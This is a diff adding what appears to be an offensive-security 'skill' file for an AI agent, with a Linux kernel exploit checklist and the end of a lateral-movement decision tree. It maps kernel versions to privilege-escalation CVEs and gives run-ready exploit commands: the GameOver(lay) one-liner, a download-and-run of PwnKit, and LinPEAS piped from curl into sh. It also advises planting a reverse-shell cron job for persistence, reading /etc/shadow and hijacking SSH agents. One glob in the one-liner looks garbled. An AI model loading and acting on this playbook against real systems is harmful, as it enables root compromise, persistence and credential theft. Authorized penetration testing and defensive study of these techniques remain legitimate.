│ └── Kubernetes API (6443)? → load kubernetes-pentesting skill
|
|
327
|
+
│
|
|
328
|
+
├── Can reach other hosts?
|
|
329
|
+
│ ├── Direct SSH? → use keys/passwords
|
|
330
|
+
│ ├── Firewalled? → SSH tunnel or chisel (§5)
|
|
331
|
+
│ └── No tools? → /dev/tcp + bash (§5.2)
|
|
332
|
+
│
|
|
333
|
+
├── Root on current host?
|
|
334
|
+
│ ├── Read /etc/shadow → crack hashes → password reuse (§3)
|
|
335
|
+
│ ├── Dump /proc/*/environ → find service credentials (§3.2)
|
|
336
|
+
│ ├── Hijack sudo tokens → piggyback admin sessions (§7)
|
|
337
|
+
│ └── Modify systemd services → backdoor (§8)
|
|
338
|
+
│
|
|
339
|
+
├── D-Bus services available?
|
|
340
|
+
│ ├── Privileged services exposed? → method call abuse (§4)
|
|
341
|
+
│ └── polkit actions without auth? → privilege actions (§4.3)
|
|
342
|
+
│
|
|
343
|
+
└── No obvious path?
|
|
344
|
+
├── ARP scan + port sweep internal network (§5.3)
|
|
345
|
+
├── Passive credential sniffing (if cap_net_raw)
|
|
346
|
+
├── Wait for admin SSH → agent hijack (§1.3)
|
|
347
|
+
└── Check for cloud metadata (169.254.169.254)
|
|
348
|
+
```
|
|
@@ -0,0 +1,260 @@
|
|
|
1
|
+
# Kernel Exploits Checklist
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when the target has an outdated kernel and you need to map kernel version to known exploits. Covers DirtyPipe, DirtyCow, OverlayFS, nf_tables, io_uring, Netfilter, and more. Includes compilation tips, cross-compilation, static linking, and stability notes. Assumes the main [SKILL.md](./SKILL.md) is already loaded.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. KERNEL VERSION → EXPLOIT MAPPING TABLE
|
|
8
|
+
|
|
9
|
+
### 1.1 Critical Kernel Exploits (2016–2024)
|
|
10
|
+
|
|
11
|
+
| Exploit Name | CVE | Kernel Range | Impact | Stability |
|
|
12
|
+
|---|---|---|---|---|
|
|
13
|
+
| **DirtyCow** | CVE-2016-5195 | 2.6.22 – 4.8.3 | Write to read-only memory → overwrite `/etc/passwd` | ⚠️ May crash if using `write()` variant; prefer `madvise()` variant |
|
|
14
|
+
| **DirtyPipe** | CVE-2022-0847 | 5.8 – 5.16.10 | Overwrite any readable file (even read-only) | ✅ Very stable — splice-based, no race condition |
|
|
15
|
+
| **OverlayFS (Ubuntu)** | CVE-2021-3493 | 4.x – 5.11 (Ubuntu-specific) | User namespace + overlayfs unvalidated capabilities | ✅ Stable on affected Ubuntu versions |
|
|
16
|
+
| **OverlayFS (2023)** | CVE-2023-0386 | 5.11 – 6.2 | SUID copy via overlayfs | ✅ Reliable |
|
|
17
|
+
| **nf_tables** | CVE-2023-32233 | 5.x – 6.3.1 | UAF in nf_tables → root | ⚠️ May need tuning; depends on netfilter config |
|
|
18
|
+
| **nf_tables (batch)** | CVE-2024-1086 | 5.14 – 6.6.14 | Netfilter nf_tables double-free | ✅ Public exploit, high reliability |
|
|
19
|
+
| **io_uring** | CVE-2023-2598 | 5.7 – 6.3.1 | io_uring fixed buffer UAF | ⚠️ Complex; requires io_uring enabled |
|
|
20
|
+
| **io_uring** | CVE-2024-0582 | 6.4 – 6.7.1 | io_uring PBUF ring UAF | ✅ Reliable on affected versions |
|
|
21
|
+
| **Netfilter (nft)** | CVE-2022-34918 | 5.8 – 5.18.9 | Heap overflow in nft_set | ⚠️ Heap-dependent |
|
|
22
|
+
| **pkexec (PwnKit)** | CVE-2021-4034 | Any with polkit ≤ 0.120 | Polkit pkexec SUID local root | ✅ Extremely stable — works on almost all distros |
|
|
23
|
+
| **sudo Baron Samedit** | CVE-2021-3156 | sudo 1.8.2 – 1.8.31p2, 1.9.0 – 1.9.5p1 | Heap overflow in sudo | ✅ Reliable — multiple public exploits |
|
|
24
|
+
| **Looney Tunables** | CVE-2023-4911 | glibc 2.34 – 2.38 | Buffer overflow in ld.so GLIBC_TUNABLES | ✅ Reliable on Fedora/Ubuntu |
|
|
25
|
+
| **GameOver(lay)** | CVE-2023-2640 + CVE-2023-32629 | Ubuntu 5.15 – 6.2 (Ubuntu-specific) | OverlayFS + capabilities | ✅ Single command exploit on Ubuntu |
|
|
26
|
+
|
|
27
|
+
### 1.2 Older Kernel Exploits (Pre-2016)
|
|
28
|
+
|
|
29
|
+
| Exploit Name | CVE | Kernel Range | Notes |
|
|
30
|
+
|---|---|---|---|
|
|
31
|
+
| **Full Nelson** | CVE-2010-4258 | 2.6.31 – 2.6.36 | econet + proto_ops |
|
|
32
|
+
| **Mempodipper** | CVE-2012-0056 | 3.0.0 – 3.0.18 | proc mem write |
|
|
33
|
+
| **perf_swevent** | CVE-2013-2094 | 2.6.37 – 3.8.8 | Perf subsystem |
|
|
34
|
+
| **Dirty COW (original)** | CVE-2016-5195 | 2.6.22+ | See above |
|
|
35
|
+
| **AF_PACKET** | CVE-2017-7308 | 4.x – 4.10.6 | TPACKET_V3 ring buffer |
|
|
36
|
+
| **KASLR bypass + ptrace** | CVE-2017-1000112 | 4.x – 4.13 | UDP fragmentation |
|
|
37
|
+
|
|
38
|
+
### 1.3 Container-Relevant Kernel Exploits
|
|
39
|
+
|
|
40
|
+
| Exploit | CVE | Container Escape? | Notes |
|
|
41
|
+
|---|---|---|---|
|
|
42
|
+
| DirtyPipe | CVE-2022-0847 | ✅ | Overwrite `/etc/passwd` on host via `/proc/1/root` if PID namespace shared |
|
|
43
|
+
| OverlayFS | CVE-2023-0386 | ✅ | With overlayfs in user namespace |
|
|
44
|
+
| nf_tables | CVE-2024-1086 | ⚠️ | Only if CAP_NET_ADMIN available in container |
|
|
45
|
+
| runc | CVE-2019-5736 | ✅ | Overwrite runc binary on host |
|
|
46
|
+
| cgroups | CVE-2022-0492 | ✅ | cgroup v1 release_agent |
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## 2. EXPLOIT COMPILATION TIPS
|
|
51
|
+
|
|
52
|
+
### 2.1 On-Target Compilation
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Check if gcc/cc is available
|
|
56
|
+
which gcc cc
|
|
57
|
+
|
|
58
|
+
# Simple compilation
|
|
59
|
+
gcc exploit.c -o exploit -static
|
|
60
|
+
# -static: include all libraries — avoids version mismatch
|
|
61
|
+
|
|
62
|
+
# If no gcc, check for alternatives:
|
|
63
|
+
which musl-gcc # Alpine/minimal systems
|
|
64
|
+
which clang
|
|
65
|
+
which tcc # Tiny C Compiler
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### 2.2 Cross-Compilation (on Attacker Box)
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
# For x86_64 target:
|
|
72
|
+
gcc -static -o exploit_x64 exploit.c
|
|
73
|
+
|
|
74
|
+
# For x86 (32-bit) target:
|
|
75
|
+
gcc -m32 -static -o exploit_x86 exploit.c
|
|
76
|
+
|
|
77
|
+
# For ARM (Raspberry Pi, embedded):
|
|
78
|
+
arm-linux-gnueabihf-gcc -static -o exploit_arm exploit.c
|
|
79
|
+
|
|
80
|
+
# For AARCH64:
|
|
81
|
+
aarch64-linux-gnu-gcc -static -o exploit_arm64 exploit.c
|
|
82
|
+
|
|
83
|
+
# For MIPS (routers, IoT):
|
|
84
|
+
mipsel-linux-gnu-gcc -static -o exploit_mips exploit.c
|
|
85
|
+
|
|
86
|
+
# Install cross-compilers (Debian/Ubuntu):
|
|
87
|
+
apt install gcc-arm-linux-gnueabihf gcc-aarch64-linux-gnu gcc-mipsel-linux-gnu
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
### 2.3 Musl Static Linking (Smallest Binaries)
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
# Install musl cross-compiler
|
|
94
|
+
apt install musl-tools
|
|
95
|
+
|
|
96
|
+
# Compile static binary with musl (much smaller than glibc static)
|
|
97
|
+
musl-gcc -static -o exploit exploit.c
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### 2.4 Go / Rust Exploits (Pre-Compiled)
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
# Many modern exploits are in Go — compile statically:
|
|
104
|
+
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o exploit .
|
|
105
|
+
|
|
106
|
+
# Rust:
|
|
107
|
+
RUSTFLAGS='-C target-feature=+crt-static' cargo build --release --target x86_64-unknown-linux-musl
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## 3. KERNEL EXPLOIT STABILITY NOTES
|
|
113
|
+
|
|
114
|
+
### 3.1 Stability Tiers
|
|
115
|
+
|
|
116
|
+
| Tier | Description | Examples |
|
|
117
|
+
|---|---|---|
|
|
118
|
+
| **Tier 1 — Reliable** | Deterministic, no race, works consistently | DirtyPipe, PwnKit, GameOver(lay) |
|
|
119
|
+
| **Tier 2 — Usually Works** | Minor timing or heap layout dependency | DirtyCow (madvise), Baron Samedit, Looney Tunables |
|
|
120
|
+
| **Tier 3 — Fragile** | Heap spraying, race-dependent, may crash | nf_tables (older), AF_PACKET, io_uring variants |
|
|
121
|
+
|
|
122
|
+
### 3.2 Pre-Exploit Checklist
|
|
123
|
+
|
|
124
|
+
```
|
|
125
|
+
Before running a kernel exploit:
|
|
126
|
+
│
|
|
127
|
+
├── 1. Verify kernel version matches exactly
|
|
128
|
+
│ ├── uname -r
|
|
129
|
+
│ ├── cat /proc/version
|
|
130
|
+
│ └── Compare with exploit's documented range
|
|
131
|
+
│
|
|
132
|
+
├── 2. Check architecture
|
|
133
|
+
│ ├── uname -m # x86_64, aarch64, armv7l
|
|
134
|
+
│ └── file /bin/ls # ELF 64-bit / 32-bit
|
|
135
|
+
│
|
|
136
|
+
├── 3. Check distro-specific patches
|
|
137
|
+
│ ├── Ubuntu/Debian: dpkg -l linux-image-$(uname -r)
|
|
138
|
+
│ ├── RHEL/CentOS: rpm -q kernel-$(uname -r)
|
|
139
|
+
│ └── Backported fixes may not change version number!
|
|
140
|
+
│
|
|
141
|
+
├── 4. Assess stability risk
|
|
142
|
+
│ ├── Tier 1 → safe to run
|
|
143
|
+
│ ├── Tier 2 → run, may need 2-3 attempts
|
|
144
|
+
│ └── Tier 3 → run only as last resort; may crash/panic
|
|
145
|
+
│
|
|
146
|
+
├── 5. Verify security modules
|
|
147
|
+
│ ├── SELinux: getenforce / sestatus
|
|
148
|
+
│ ├── AppArmor: aa-status / cat /sys/module/apparmor/parameters/enabled
|
|
149
|
+
│ └── seccomp: grep Seccomp /proc/self/status
|
|
150
|
+
│
|
|
151
|
+
└── 6. Set up persistence BEFORE running (in case of crash)
|
|
152
|
+
├── SSH key in ~/.ssh/authorized_keys
|
|
153
|
+
├── Reverse shell cron job
|
|
154
|
+
└── Save current shell state
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
### 3.3 Common Failure Modes
|
|
158
|
+
|
|
159
|
+
| Failure | Cause | Mitigation |
|
|
160
|
+
|---|---|---|
|
|
161
|
+
| Kernel panic / reboot | Race condition lost, memory corruption | Use Tier 1 exploits first; retry with modified parameters |
|
|
162
|
+
| `Operation not permitted` | SELinux/AppArmor blocking | Check security module status; try bypass techniques |
|
|
163
|
+
| `No such file or directory` | Missing kernel feature (io_uring, nftables) | `ls /proc/sys/` or `lsmod` to verify feature availability |
|
|
164
|
+
| Exploit runs but no root | Distro backported patch | Check package version, not just kernel version |
|
|
165
|
+
| `SIGKILL` during exploit | seccomp filter killing syscalls | Check `/proc/self/status` Seccomp field |
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
## 4. SPECIFIC EXPLOIT QUICK REFERENCES
|
|
170
|
+
|
|
171
|
+
### 4.1 DirtyPipe (CVE-2022-0847)
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
# Check: kernel 5.8 – 5.16.10
|
|
175
|
+
uname -r
|
|
176
|
+
|
|
177
|
+
# Exploit (overwrite /etc/passwd):
|
|
178
|
+
./dirtypipe /etc/passwd 1 '${root_line}'
|
|
179
|
+
# Or use the SUID variant: overwrites a SUID binary temporarily
|
|
180
|
+
./dirtypipez # automated — spawns root shell
|
|
181
|
+
|
|
182
|
+
# Very stable — no race condition, uses splice()
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
### 4.2 PwnKit (CVE-2021-4034)
|
|
186
|
+
|
|
187
|
+
```bash
|
|
188
|
+
# Check: pkexec must be SUID (almost always is)
|
|
189
|
+
ls -la /usr/bin/pkexec
|
|
190
|
+
|
|
191
|
+
# Exploit:
|
|
192
|
+
# Most public PoCs are single-command:
|
|
193
|
+
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
|
|
194
|
+
chmod +x PwnKit && ./PwnKit
|
|
195
|
+
|
|
196
|
+
# Or compile from source:
|
|
197
|
+
gcc cve-2021-4034.c -o pwnkit
|
|
198
|
+
./pwnkit
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
### 4.3 GameOver(lay) (CVE-2023-2640 + CVE-2023-32629)
|
|
202
|
+
|
|
203
|
+
```bash
|
|
204
|
+
# Ubuntu-specific (5.15 – 6.2 Ubuntu kernels)
|
|
205
|
+
# One-liner:
|
|
206
|
+
unshare -rm sh -c "
|
|
207
|
+
mkdir l u w m &&
|
|
208
|
+
cp /u*/b*/p]asswd l/;
|
|
209
|
+
setcap cap_setuid+eip l/passwd;
|
|
210
|
+
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
|
|
211
|
+
touch m/*;" &&
|
|
212
|
+
u/passwd
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
### 4.4 DirtyCow (CVE-2016-5195)
|
|
216
|
+
|
|
217
|
+
```bash
|
|
218
|
+
# Check: kernel < 4.8.3
|
|
219
|
+
uname -r
|
|
220
|
+
|
|
221
|
+
# Preferred variant (madvise — more stable):
|
|
222
|
+
gcc -pthread dirtycow-mem.c -o dcow -lcrypt
|
|
223
|
+
./dcow
|
|
224
|
+
# Modifies /etc/passwd in memory; may need revert after
|
|
225
|
+
|
|
226
|
+
# IMPORTANT: some variants can cause system instability
|
|
227
|
+
# Always prefer the madvise variant over the write() variant
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
### 4.5 Baron Samedit (CVE-2021-3156)
|
|
231
|
+
|
|
232
|
+
```bash
|
|
233
|
+
# Check sudo version:
|
|
234
|
+
sudo --version
|
|
235
|
+
# Vulnerable: 1.8.2 – 1.8.31p2, 1.9.0 – 1.9.5p1
|
|
236
|
+
|
|
237
|
+
# Quick test (should trigger error, not usage):
|
|
238
|
+
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
|
|
239
|
+
# If "malloc(): memory corruption" → likely vulnerable
|
|
240
|
+
|
|
241
|
+
# Compile and run exploit (multiple variants available)
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
---
|
|
245
|
+
|
|
246
|
+
## 5. AUTOMATED KERNEL EXPLOIT SUGGESTION
|
|
247
|
+
|
|
248
|
+
```bash
|
|
249
|
+
# linux-exploit-suggester (shell script — no compilation needed)
|
|
250
|
+
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
|
|
251
|
+
chmod +x linux-exploit-suggester.sh
|
|
252
|
+
./linux-exploit-suggester.sh
|
|
253
|
+
|
|
254
|
+
# linux-exploit-suggester-2 (Perl)
|
|
255
|
+
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
|
|
256
|
+
perl linux-exploit-suggester-2.pl
|
|
257
|
+
|
|
258
|
+
# LinPEAS also checks for kernel exploits
|
|
259
|
+
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
|
260
|
+
```
|